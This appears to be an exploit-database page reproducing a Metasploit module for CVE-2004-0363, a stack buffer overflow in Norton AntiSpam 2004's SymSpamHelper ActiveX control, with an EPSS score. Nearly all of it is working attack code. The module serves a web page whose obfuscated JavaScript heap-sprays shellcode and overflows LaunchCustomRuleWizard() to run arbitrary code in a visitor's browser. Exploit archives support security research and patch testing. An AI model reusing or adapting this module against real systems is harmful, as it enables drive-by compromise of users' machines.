Norton AntiSpam 2004 SymSpamHelper ActiveX Control Buffer Overflow

2009-11-2600:00:00

packetstormsecurity.com

0.941 High

EPSS

Percentile

99.2%

JSON

`###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Norton AntiSpam 2004 SymSpamHelper ActiveX Control Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Norton AntiSpam 2004. When  
sending an overly long string to the LaunchCustomRuleWizard() method   
of symspam.dll (2004.1.0.147) an attacker may be able to execute   
arbitrary code.   
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2004-0363' ],  
[ 'OSVDB', '6249' ],  
[ 'BID', '9916' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]   
],  
'DisclosureDate' => 'Mar 19 2004',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload.  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Set the return.  
ret = Rex::Text.uri_encode([target.ret].pack('L'))  
  
js = %Q|  
try {  
var evil_string = "";  
var index;  
var vulnerable = new ActiveXObject('SymSpamBlockingUI.SymSpamHelper.1');  
var my_unescape = unescape;  
var shellcode = '#{shellcode}';  
#{js_heap_spray}  
sprayHeap(my_unescape(shellcode), #{target.ret}, 0x40000);  
for (index = 0; index < 2024; index++) {  
evil_string = evil_string + my_unescape('#{ret}');  
}  
vulnerable.LaunchCustomRuleWizard(evil_string);  
} catch( e ) { window.location = 'about:blank' ; }  
|  
  
opts = {  
'Strings' => true,  
'Symbols' => {  
'Variables' => [   
'vulnerable',  
'shellcode',  
'my_unescape',  
'index',  
'evil_string',  
]  
}  
}  
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)  
js.update_opts(js_heap_spray.opts)  
js.obfuscate()  
content = %Q|  
<html>  
<body>  
<script><!--  
#{js}  
//</script>  
</body>  
</html>  
|  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`

0.941 High

EPSS

Percentile

99.2%

JSON

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